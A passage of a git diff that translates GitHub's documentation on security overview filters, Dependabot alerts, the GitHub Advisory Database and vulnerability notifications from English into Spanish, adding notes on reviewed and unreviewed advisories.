-| <code>team:<em>TEAM-NAME</em></code> | Displays repositories that *TEAM-NAME* has admin privileges for. |
+| Qualifier                 | Descripción                                                                        |
+| ------------------------- | ---------------------------------------------------------------------------------- |
+| <code>team:<em>TEAM-NAME</em></code> | Muestra los repositorios en los que *TEAM-NAME* tiene privilegios administrativos. |
 
-### Filter by topic
+### Filtrar por tema
 
-| Qualifier | Description |
-| -------- | -------- |
-| <code>topic:<em>TOPIC-NAME</em></code> | Displays repositories that are classified with *TOPIC-NAME*. |
+| Qualifier                 | Descripción                                                  |
+| ------------------------- | ------------------------------------------------------------ |
+| <code>topic:<em>TOPIC-NAME</em></code> | Muestra los repositorios que se clasifican con *TOPIC-NAME*. |
 
-### Sort the list of alerts
+### Clasifica la lista de alertas
 
-| Qualifier | Description |
-| -------- | -------- |
-| `sort:risk` | Sorts the repositories in your security overview by risk. |
-| `sort:repos` | Sorts the repositories in your security overview alphabetically by name. |
-| `sort:code-scanning-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_code_scanning %} alerts. |
-| `sort:secret-scanning-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_secret_scanning %} alerts. |
-| `sort:dependabot-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_dependabot_alerts %}. |
+| Qualifier                     | Descripción                                                                                                                                   |
+| ----------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------- |
+| `sort:risk`                   | Clasifica los repositorios por riesgo en tu resumen de seguridad.                                                                             |
+| `sort:repos`                  | Clasifica los repositorios en tu resumen de seguridad por órden alfabético de nombre.                                                         |
+| `sort:code-scanning-alerts`   | Clasifica los repositorios en tu resumen de seguridad por la cantidad de alertas del {% data variables.product.prodname_code_scanning %}.   |
+| `sort:secret-scanning-alerts` | Clasifica los repositorios en tu resumen de seguridad por la cantidad de alertas del {% data variables.product.prodname_secret_scanning %}. |
+| `sort:dependabot-alerts`      | Clasifica los repositorios en tu resumen de seguridad por cantidad de {% data variables.product.prodname_dependabot_alerts %}.              |
diff --git a/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md b/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md
index 4a20954bbf..367a0af3e7 100644
--- a/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md
+++ b/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md
@@ -32,11 +32,16 @@ When your code depends on a package that has a security vulnerability, this vuln
 
 {% data reusables.dependabot.dependabot-alerts-beta %}
 
-{% data variables.product.prodname_dependabot %} detects vulnerable dependencies and sends {% data variables.product.prodname_dependabot_alerts %} when:
+{% data variables.product.prodname_dependabot %} performs a scan to detect vulnerable dependencies and sends {% data variables.product.prodname_dependabot_alerts %} when:
 
 {% ifversion fpt or ghec %}
-- A new vulnerability is added to the {% data variables.product.prodname_advisory_database %}. For more information, see "[Browsing security vulnerabilities in the {% data variables.product.prodname_advisory_database %}](/github/managing-security-vulnerabilities/browsing-security-vulnerabilities-in-the-github-advisory-database)" and "[About {% data variables.product.prodname_security_advisories %}](/code-security/security-advisories/about-github-security-advisories)."{% else %}
+- A new vulnerability is added to the {% data variables.product.prodname_advisory_database %}. For more information, see "[Browsing security vulnerabilities in the {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database)" and "[About {% data variables.product.prodname_security_advisories %}](/code-security/security-advisories/about-github-security-advisories)."{% else %}
 - New advisory data is synchronized to {% data variables.product.product_location %} each hour from {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.security-advisory.link-browsing-advisory-db %}{% endif %}
+  {% note %}
+
+  **Note:** Only advisories that have been reviewed by {% data variables.product.company_short %} will trigger {% data variables.product.prodname_dependabot_alerts %}.
+
+  {% endnote %}
 - The dependency graph for a repository changes. For example, when a contributor pushes a commit to change the packages or versions it depends on{% ifversion fpt or ghec %}, or when the code of one of the dependencies changes{% endif %}. For more information, see "[About the dependency graph](/code-security/supply-chain-security/about-the-dependency-graph)."
 
 {% data reusables.repositories.dependency-review %}
diff --git a/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md b/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md
index 7fd77729d1..a0e7d0e28c 100644
--- a/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md
+++ b/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md
@@ -1,7 +1,8 @@
 ---
-title: Browsing security vulnerabilities in the GitHub Advisory Database
-intro: 'The {% data variables.product.prodname_advisory_database %} allows you to browse or search for vulnerabilities that affect open source projects  on {% data variables.product.company_short %}.'
-shortTitle: Browse Advisory Database
+title: Buscar vulnerabilidades de seguridad en la Base de Datos de Asesorías de GitHub
+intro: 'La {% data variables.product.prodname_advisory_database %} te permite buscar vulnerabilidades que afecten proyectos de código abierto, ya sea manualmente o por coincidencia exacta, en {% data variables.product.company_short %}.'
+shortTitle: Buscar en la Base de Datos de Asesorías
+miniTocMaxHeadingLevel: 3
 redirect_from:
   - /github/managing-security-vulnerabilities/browsing-security-vulnerabilities-in-the-github-advisory-database
   - /code-security/supply-chain-security/browsing-security-vulnerabilities-in-the-github-advisory-database
@@ -16,80 +17,101 @@ topics:
   - Vulnerabilities
   - CVEs
 ---
+
 <!--Marketing-LINK: From /features/security/software-supply-chain page "Browsing security vulnerabilities in the GitHub Advisory Database".-->
 
-## About security vulnerabilities
+## Acerca de las vulnerabilidades de seguridad
 
 {% data reusables.repositories.a-vulnerability-is %}
 
-{% data variables.product.product_name %} will send you {% data variables.product.prodname_dependabot_alerts %} if we detect that any of the vulnerabilities from the {% data variables.product.prodname_advisory_database %} affect the packages that your repository depends on. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)."
+## Acerca de {% data variables.product.prodname_advisory_database %}
 
-## About the {% data variables.product.prodname_advisory_database %}
+La {% data variables.product.prodname_advisory_database %} contiene una lista de vulnerabilidades de seguridad conocidas, agrupadas en dos categorías: asesorías que revisó {% data variables.product.company_short %} y asesorías sin revisar.
 
-The {% data variables.product.prodname_advisory_database %} contains a curated list of security vulnerabilities that have been mapped to packages tracked by the {% data variables.product.company_short %} dependency graph. {% data reusables.repositories.tracks-vulnerabilities %}
+{% data reusables.repositories.tracks-vulnerabilities %}
 
-Each security advisory contains information about the vulnerability, including the description, severity, affected package, package ecosystem, affected versions and patched versions, impact, and optional information such as references, workarounds, and credits. In addition, advisories from the National Vulnerability Database list contain a link to the CVE record, where you can read more details about the vulnerability, its CVSS scores, and its qualitative severity level. For more information, see the "[National Vulnerability Database](https://nvd.nist.gov/)" from the National Institute of Standards and Technology.
+### Acerca de las asesorías que revisa {% data variables.product.company_short %}
 
-The severity level is one of four possible levels defined in the "[Common Vulnerability Scoring System (CVSS), Section 5](https://www.first.org/cvss/specification-document)."
-- Low
-- Medium/Moderate
-- High
-- Critical
+Las asesorías que revisa {% data variables.product.company_short %} son vulnerabilidades de seguridad que se mapearon a paquetes que rastrea la gráfica de dependencias de {% data variables.product.company_short %}.
 
-The {% data variables.product.prodname_advisory_database %} uses the CVSS levels described above. If {% data variables.product.company_short %} obtains a CVE, the {% data variables.product.prodname_advisory_database %} uses CVSS version 3.1. If the CVE is imported, the {% data variables.product.prodname_advisory_database %} supports both CVSS versions 3.0 and 3.1.
+Revisamos la validez de cada asesoría cuidadosamente. Cada asesoría que revisa {% data variables.product.company_short %} tiene una descripción completa y contiene información tanto del ecosistema como del paquete.
+
+Si habilitas las {% data variables.product.prodname_dependabot_alerts %} para tus repositorios, se te notifica automáticamente cuando una asesoría que revisa {% data variables.product.company_short %} afecta a los paquetes de los que dependes. Para obtener más información, consulta la sección "[Acerca de las alertas para las dependencias vulnerables](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)".
+
+### Acerca de las asesorías sin revisar
+
+Las asesorías sin revisar son vulnerabilidades de seguridad que publicamos automáticamente en la {% data variables.product.prodname_advisory_database %}, directamente desde la fuente de la Base de Datos Nacional de Vulnerabilidades.
+
+El {% data variables.product.prodname_dependabot %} no crea {% data variables.product.prodname_dependabot_alerts %} para las asesorías sin revisar, ya que este tipo de asesoría no se revisa en su validez o finalización.
+
+## Acerca de las asesorías de seguridad
+
+Cada asesoría de seguridad contiene información sobre la vulnerabilidad, la cual puede incluir la descripción, severidad, paquete afectado, ecosistema del paquete, versiones afectadas y versiones parchadas, impacto e información opcional, tal como referencias, soluciones alternas y créditos. Adicionalmente, las asesorías de la National Vulnerability Database contiene un enlace al registro de CVE, en donde puedes leer más sobre los detalles de la vulnerabilidad, su puntuación de CVSS y su nivel de severidad cualitativo. Para obtener más información, consulta la "[National Vulnerability Database](https://nvd.nist.gov/)" del Instituto Nacional de Estándares y Tecnología.
+
+El nivel de gravedad es uno de cuatro niveles posibles que se definen en el [Sistema de clasificación de vulnerabilidades comunes (CVSS), Sección 5](https://www.first.org/cvss/specification-document)".
+- Bajo
+- Medio/Moderado
+- Alto
+- Crítico
+
+La {% data variables.product.prodname_advisory_database %} utiliza los niveles del CVSS tal como se describen anteriormente. Si {% data variables.product.company_short %} obtiene un CVE, la {% data variables.product.prodname_advisory_database %} utilizará el CVSS versión 3.1. Si se importa el CVE, la {% data variables.product.prodname_advisory_database %} será compatible tanto con la versión 3.0 como con la 3.1 del CVSS.
 
 {% data reusables.repositories.github-security-lab %}
 
-## Accessing an advisory in the {% data variables.product.prodname_advisory_database %}
+## Acceder a una asesoría en la {% data variables.product.prodname_advisory_database %}
 
-1. Navigate to https://github.com/advisories.
-2. Optionally, to filter the list, use any of the drop-down menus.
-  ![Dropdown filters](/assets/images/help/security/advisory-database-dropdown-filters.png)
-3. Click on any advisory to view details.
+1. Navega hasta https://github.com/advisories.
+2. Opcionalmente, para filtrar la lista, utiliza cualquiera de los menúes desplegables. ![Filtros desplegables](/assets/images/help/security/advisory-database-dropdown-filters.png)
+   {% tip %}
+
+   **Tip:** Puedes utilizar la barra lateral a la izquierda para explorar las asesorías que revisa {% data variables.product.company_short %} y aquellas sin revisar, por separado.
+
+   {% endtip %}
+3. Da clic en cualquier asesoría para ver los detalles.
 
 {% note %}
 
-The database is also accessible using the GraphQL API. For more information, see the "[`security_advisory` webhook event](/webhooks/event-payloads/#security_advisory)."
+También se puede acceder a la base de datos utilizando la API de GraphQL. Para obtener más información, consulta la sección "[evento de webhook de `security_advisory`](/webhooks/event-payloads/#security_advisory)".
 
 {% endnote %}
 
-## Searching the {% data variables.product.prodname_advisory_database %}
+## Buscar en la {% data variables.product.prodname_advisory_database %} por coincidencia exacta
 
-You can search the database, and use qualifiers to narrow your search. For example, you can search for advisories created on a certain date, in a specific ecosystem, or in a particular library.
+Puedes buscar la base de datos y utilizar los calificadores para definir más tu búsqueda. Por ejemplo, puedes buscar las asesorías que se hayan creado en una fecha, ecosistema o biblioteca específicos.
 
 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier  | Example |
-| ------------- | ------------- |
-| `GHSA-ID`| [**GHSA-49wp-qq6x-g2rf**](https://github.com/advisories?query=GHSA-49wp-qq6x-g2rf) will show the advisory with this {% data variables.product.prodname_advisory_database %} ID. |
-| `CVE-ID`| [**CVE-2020-28482**](https://github.com/advisories?query=CVE-2020-28482) will show the advisory with this CVE ID number. |
-| `ecosystem:ECOSYSTEM`| [**ecosystem:npm**](https://github.com/advisories?utf8=%E2%9C%93&query=ecosystem%3Anpm) will show only advisories affecting NPM packages. |
-| `severity:LEVEL`| [**severity:high**](https://github.com/advisories?utf8=%E2%9C%93&query=severity%3Ahigh) will show only advisories with a high severity level. |
-| `affects:LIBRARY`| [**affects:lodash**](https://github.com/advisories?utf8=%E2%9C%93&query=affects%3Alodash) will show only advisories affecting the lodash library. |
-| `cwe:ID`| [**cwe:352**](https://github.com/advisories?query=cwe%3A352) will show only advisories with this CWE number. |
-| `credit:USERNAME`| [**credit:octocat**](https://github.com/advisories?query=credit%3Aoctocat) will show only advisories credited to the "octocat" user account. |
-| `sort:created-asc`| [**sort:created-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-asc) will sort by the oldest advisories first. |
-| `sort:created-desc`| [**sort:created-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-desc) will sort by the newest advisories first. |
-| `sort:updated-asc`| [**sort:updated-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-asc) will sort by the least recently updated first. |
-| `sort:updated-desc`| [**sort:updated-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-desc) will sort by the most recently updated first. |
-| `is:withdrawn`| [**is:withdrawn**](https://github.com/advisories?utf8=%E2%9C%93&query=is%3Awithdrawn) will show only advisories that have been withdrawn. |
-| `created:YYYY-MM-DD`| [**created:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=created%3A2021-01-13) will show only advisories created on this date. |
-| `updated:YYYY-MM-DD`| [**updated:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=updated%3A2021-01-13) will show only advisories updated on this date. |
+| Qualifier             | Ejemplo                                                                                                                                                                             |
+| --------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `type:reviewed`       | [**type:reviewed**](https://github.com/advisories?query=type%3Areviewed) mostrará las asesorías que revisa {% data variables.product.company_short %}.                              |
+| `type:unreviewed`     | [**type:unreviewed**](https://github.com/advisories?query=type%3Aunreviewed) mostrará las asesorías sin revisar.                                                                    |
+| `GHSA-ID`             | [**GHSA-49wp-qq6x-g2rf**](https://github.com/advisories?query=GHSA-49wp-qq6x-g2rf) mostrará la asesoría con esta ID de {% data variables.product.prodname_advisory_database %}.   |
+| `CVE-ID`              | [**CVE-2020-28482**](https://github.com/advisories?query=CVE-2020-28482) mostrará la asesoría con este número de ID de CVE.                                                         |
+| `ecosystem:ECOSYSTEM` | [**ecosystem:npm**](https://github.com/advisories?utf8=%E2%9C%93&query=ecosystem%3Anpm) mostrará únicamente asesorías que afecten paquetes NPM.                                     |
+| `severity:LEVEL`      | [**severity:high**](https://github.com/advisories?utf8=%E2%9C%93&query=severity%3Ahigh) mostrará únicamente asesorías con nivel de gravedad alto.                                   |
+| `affects:LIBRARY`     | [**affects:lodash**](https://github.com/advisories?utf8=%E2%9C%93&query=affects%3Alodash) mostrará únicamente asesorías que afecten la biblioteca lodash.                           |
+| `cwe:ID`              | [**cwe:352**](https://github.com/advisories?query=cwe%3A352) mostrará únicamente las asesorías con este número de CWE.                                                              |
+| `credit:USERNAME`     | [**credit:octocat**](https://github.com/advisories?query=credit%3Aoctocat) mostrará únicamente las asesorías que se atribuyen a la cuenta de usuario "octocat".                     |
+| `sort:created-asc`    | [**sort:created-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-asc) organizará los resultados para mostrar las asesorías más viejas primero.              |
+| `sort:created-desc`   | [**sort:created-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-desc) organizará los resultados para mostrar las asesorías más nuevas primero.            |
+| `sort:updated-asc`    | [**sort:updated-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-asc) organizará los resultados para mostrar aquellos actualizados menos recientemente.     |
+| `sort:updated-desc`   | [**sort:updated-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-desc) organizará los resultados para mostrar los aquellos actualizados más recientemente. |
+| `is:withdrawn`        | [**is:withdrawn**](https://github.com/advisories?utf8=%E2%9C%93&query=is%3Awithdrawn) mostrará únicamente las asesorías que se han retirado.                                        |
+| `created:YYYY-MM-DD`  | [**created:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=created%3A2021-01-13) mostrará únicamente las asesorías creadas en esta fecha.                          |
+| `updated:YYYY-MM-DD`  | [**updated:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=updated%3A2021-01-13) mostrará únicamente asesorías actualizadas en esta fecha.                         |
 
-## Viewing your vulnerable repositories
+## Visualizar tus repositorios vulnerables
 
-For any vulnerability in the {% data variables.product.prodname_advisory_database %}, you can see which of your repositories have a {% data variables.product.prodname_dependabot %} alert for that vulnerability. To see a vulnerable repository, you must have access to {% data variables.product.prodname_dependabot_alerts %} for that repository. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#access-to-dependabot-alerts)."
+Para cualquier asesoría que revise {% data variables.product.company_short %} en la {% data variables.product.prodname_advisory_database %}, puedes ver cuáles de tus repositorios se ven afectados por esa vulnerabilidad de seguridad. Para ver un repositorio vulnerable, debes tener acceso a las {% data variables.product.prodname_dependabot_alerts %} de este. Para obtener más información, consulta la sección "[Acerca de las alertas para las dependencias vulnerables](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#access-to-dependabot-alerts)".
 
-1. Navigate to https://github.com/advisories.
-2. Click an advisory.
-3. At the top of the advisory page, click **Dependabot alerts**.
-   ![Dependabot alerts](/assets/images/help/security/advisory-database-dependabot-alerts.png)
-4. Optionally, to filter the list, use the search bar or the drop-down menus. The "Organization" drop-down menu allows you to filter the {% data variables.product.prodname_dependabot_alerts %} per owner (organization or user).
-   ![Search bar and drop-down menus to filter alerts](/assets/images/help/security/advisory-database-dependabot-alerts-filters.png)
-5. For more details about the vulnerability, and for advice on how to fix the vulnerable repository, click the repository name.
+1. Navega hasta https://github.com/advisories.
+2. Haz clic en una asesoría.
+3. En la parte superior de la página de la asesoría, haz clic en **Alertas del dependabot**. ![Las alertas del dependabot](/assets/images/help/security/advisory-database-dependabot-alerts.png)
+4. Opcionalmente, para filtrar la lista, utiliza la barra de búsqueda o los menús desplegables. El menú desplegable de "Organización" te permite filtrar las {% data variables.product.prodname_dependabot_alerts %} por propietario (organización o usuario). ![Barra de búsqueda y menús desplegables para filtrar alertas](/assets/images/help/security/advisory-database-dependabot-alerts-filters.png)
+5. Para obtener más detalles de la vulnerabilidad y para encontrar consejos sobre cómo arreglar el repositorio vulnerable, da clic en el nombre del repositorio.
 
-## Further reading
+## Leer más
 
-- MITRE's [definition of "vulnerability"](https://cve.mitre.org/about/terminology.html#vulnerability)
+- [Definición de MITRE de "vulnerabilidad"](https://cve.mitre.org/about/terminology.html#vulnerability)
diff --git a/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md b/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md
index f0d3791232..9c69176e43 100644
--- a/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md
+++ b/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md
@@ -1,7 +1,7 @@
 ---
-title: Configuring notifications for vulnerable dependencies
-shortTitle: Configuring notifications
-intro: 'Optimize how you receive notifications about  {% data variables.product.prodname_dependabot_alerts %}.'
+title: Configurar las notificaciones para las dependencias vulnerables
+shortTitle: Configurar notificaciones
+intro: 'Optimiza la forma en la que recibes notificaciones de {% data variables.product.prodname_dependabot_alerts %}.'
 redirect_from:
   - /github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies
   - /code-security/supply-chain-security/configuring-notifications-for-vulnerable-dependencies
@@ -19,48 +19,49 @@ topics:
   - Dependencies
   - Repositories
 ---
+
 <!--For this article in earlier GHES versions, see /content/github/managing-security-vulnerabilities-->
 
-## About notifications for vulnerable dependencies
+## Acerca de las notificaciones para las dependencias vulnerables
 
-When {% data variables.product.prodname_dependabot %} detects vulnerable dependencies in your repositories, we generate a {% data variables.product.prodname_dependabot %} alert and display it on the Security tab for the repository. {% data variables.product.product_name %} notifies the maintainers of affected repositories about the new alert according to their notification preferences.{% ifversion fpt or ghec %} {% data variables.product.prodname_dependabot %} is enabled by default on all public repositories. For {% data variables.product.prodname_dependabot_alerts %}, by default, you will receive {% data variables.product.prodname_dependabot_alerts %} by email, grouped by the specific vulnerability.
-{% endif %} 
+Cuando el {% data variables.product.prodname_dependabot %} detecta las dependencias vulnerables en tus repositorios, generamos una alerta del {% data variables.product.prodname_dependabot %} y la mostramos en la pestaña de seguridad del repositorio. {% data variables.product.product_name %} notifica a los mantenedores de los repositorios afectados sobre la alerta nueva de acuerdo con sus preferencias de notificaciones.{% ifversion fpt or ghec %}El {% data variables.product.prodname_dependabot %} se habilita predeterminadamente en todos los repositorios públicos. En el caso de las {% data variables.product.prodname_dependabot_alerts %}, predeterminadamente, recibirás {% data variables.product.prodname_dependabot_alerts %} por correo electrónico, agrupadas por la vulnerabilidad específica.
+{% endif %}
 
-{% ifversion fpt or ghec %}If you're an organization owner, you can enable or disable {% data variables.product.prodname_dependabot_alerts %} for all repositories in your organization with one click. You can also set whether the detection of vulnerable dependencies will be enabled or disabled for newly-created repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-new-repositories-when-they-are-added)."
+{% ifversion fpt or ghec %}Si eres un propietario de organización, puedes habilitar o inhabilitar las {% data variables.product.prodname_dependabot_alerts %} para todos los repositorios en tu organización con un clic. También puedes configurar si se habilitará o inhabilitará la detección de dependencias vulnerables para los repositorios recién creados. Para obtener más información, consulta la sección "[Administrar la configuración de análisis y seguridad para tu organización](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-new-repositories-when-they-are-added)".
 {% endif %}
 
 {% ifversion ghes or ghae-issue-4864 %}
-By default, if your enterprise owner has configured email for notifications on your enterprise, you will receive {% data variables.product.prodname_dependabot_alerts %} by email.
+Predeterminadamente, si el propietario de tu empresa configuró las notificaciones por correo electrónico en ella, recibirás las {% data variables.product.prodname_dependabot_alerts %} por este medio.
 
-Enterprise owners can also enable {% data variables.product.prodname_dependabot_alerts %} without notifications. For more information, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)."
+Los propietarios de empresas también pueden habilitar las {% data variables.product.prodname_dependabot_alerts %} sin notificaciones. Para obtener más información, consulta la sección "[Habilitar la gráfica de dependencias y las {% data variables.product.prodname_dependabot_alerts %} en tu cuenta empresarial](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)".
 {% endif %}
 
-## Configuring notifications for {% data variables.product.prodname_dependabot_alerts %}
+## Configurar las notificaciones para las {% data variables.product.prodname_dependabot_alerts %}
 
 {% ifversion fpt or ghes > 3.1 or ghec %}
-When a new {% data variables.product.prodname_dependabot %} alert is detected, {% data variables.product.product_name %} notifies all users with access to {% data variables.product.prodname_dependabot_alerts %} for the repository according to their notification preferences. You will receive alerts if you are watching the repository, have enabled notifications for security alerts or for all the activity on the repository, and are not ignoring the repository. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)."
+Cuando se detecta una alerta nueva del {% data variables.product.prodname_dependabot %}, {% data variables.product.product_name %} notifica a todos los usuarios del repositorio con acceso a las {% data variables.product.prodname_dependabot_alerts %} de acuerdo con sus preferencias de notificación. Recibirás las alertas si estás observando el repositorio, si habilitas las notificaciones para las alertas de seguridad para toda la actividad del repositorio y si es que no lo estás ignorando. Para obtener más información, consulta la sección "[Configurar las notificaciones](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)".
 {% endif %}
 
-You can configure notification settings for yourself or your organization from the Manage notifications drop-down {% octicon "bell" aria-label="The notifications bell" %} shown at the top of each page. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)."
+Puedes configurar los ajustes de notificaciones para ti mismo o para tu organización desde el menú desplegable de administrar notificaciones {% octicon "bell" aria-label="The notifications bell" %} que se muestra en la parte superior de cada página. Para obtener más información, consulta la sección "[Configurar las notificaciones](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)".
 
 {% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %}
 {% data reusables.notifications.vulnerable-dependency-notification-options %}
 
-  ![{% data variables.product.prodname_dependabot_alerts %} options](/assets/images/help/notifications-v2/dependabot-alerts-options.png)
+  ![Opciones de las {% data variables.product.prodname_dependabot_alerts %}](/assets/images/help/notifications-v2/dependabot-alerts-options.png)
 
 {% note %}
 
-**Note:** You can filter your notifications on {% data variables.product.company_short %} to show  {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)."
+**Nota:** Puedes filtrar tus notificaciones en {% data variables.product.company_short %} para mostrar las {% data variables.product.prodname_dependabot_alerts %}. Para recibir más información, consulta la sección "[Administrar las notificaciones desde tu bandeja de entrada](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)".
 
 {% endnote %}
 
-{% data reusables.repositories.security-alerts-x-github-severity %} For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)."
+{% data reusables.repositories.security-alerts-x-github-severity %}Para obtener más información, consulta la sección "[Configurar notificaciones](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)".
 
-## How to reduce the noise from notifications for vulnerable dependencies
+## Cómo reducir el ruido de las notificaciones para las dependencias vulnerables
 
-If you are concerned about receiving too many notifications for {% data variables.product.prodname_dependabot_alerts %}, we recommend you opt into the weekly email digest, or turn off notifications while keeping {% data variables.product.prodname_dependabot_alerts %} enabled. You can still navigate to see your {% data variables.product.prodname_dependabot_alerts %} in your repository's Security tab. For more information, see "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)."
+Si te preocupa recibir demasiadas notificaciones para las {% data variables.product.prodname_dependabot_alerts %}, te recomendamos que te unas al resumen semanal por correo electrónico o que apagues las notificaciones mientras mantienes habilitadas las {% data variables.product.prodname_dependabot_alerts %}. Aún puedes navegar para ver tus {% data variables.product.prodname_dependabot_alerts %} en la pestaña de seguridad de tu repositorio. Para obtener más información, consulta la sección "[Visualizar y actualizar las dependencias vulnerables en tu repositiorio](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)".
 
-## Further reading
+## Leer más
 
-- "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)"
-- "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#supported-is-queries)"
+- "[Configurar notificaciones](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)"
+- "[Administrar las notificaciones desde tu bandeja de entrada](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#supported-is-queries)"
diff --git a/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md b/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md
index d629122ab7..8189cc9bd1 100644
--- a/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md
+++ b/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md
@@ -1,10 +1,10 @@
 ---
-title: Managing vulnerabilities in your project's dependencies
-intro: 'You can track your repository''s dependencies and receive {% data variables.product.prodname_dependabot_alerts %} when {% data variables.product.product_name %} detects vulnerable dependencies.'
+title: Administrar vulnerabilidades en las dependencias de tus proyectos
+intro: 'Puedes rastrear las dependencias de tu repositorio y recibir {% data variables.product.prodname_dependabot_alerts %} cuando {% data variables.product.product_name %} detecte dependencias vulnerables.'
 redirect_from:
-  - /articles/updating-your-project-s-dependencies/
-  - /articles/updating-your-projects-dependencies/
-  - /articles/managing-security-vulnerabilities-in-your-projects-dependencies/
+  - /articles/updating-your-project-s-dependencies
+  - /articles/updating-your-projects-dependencies
+  - /articles/managing-security-vulnerabilities-in-your-projects-dependencies
   - /articles/managing-vulnerabilities-in-your-projects-dependencies
   - /github/managing-security-vulnerabilities/managing-vulnerabilities-in-your-projects-dependencies
 versions:
@@ -30,6 +30,6 @@ children:
   - /viewing-and-updating-vulnerable-dependencies-in-your-repository
   - /troubleshooting-the-detection-of-vulnerable-dependencies
   - /troubleshooting-dependabot-errors
-shortTitle: Fix vulnerable dependencies
+shortTitle: Arreglar dependencias vulnerables
 ---
 
diff --git a/translations/es-ES/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md b/translations/es-ES/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md
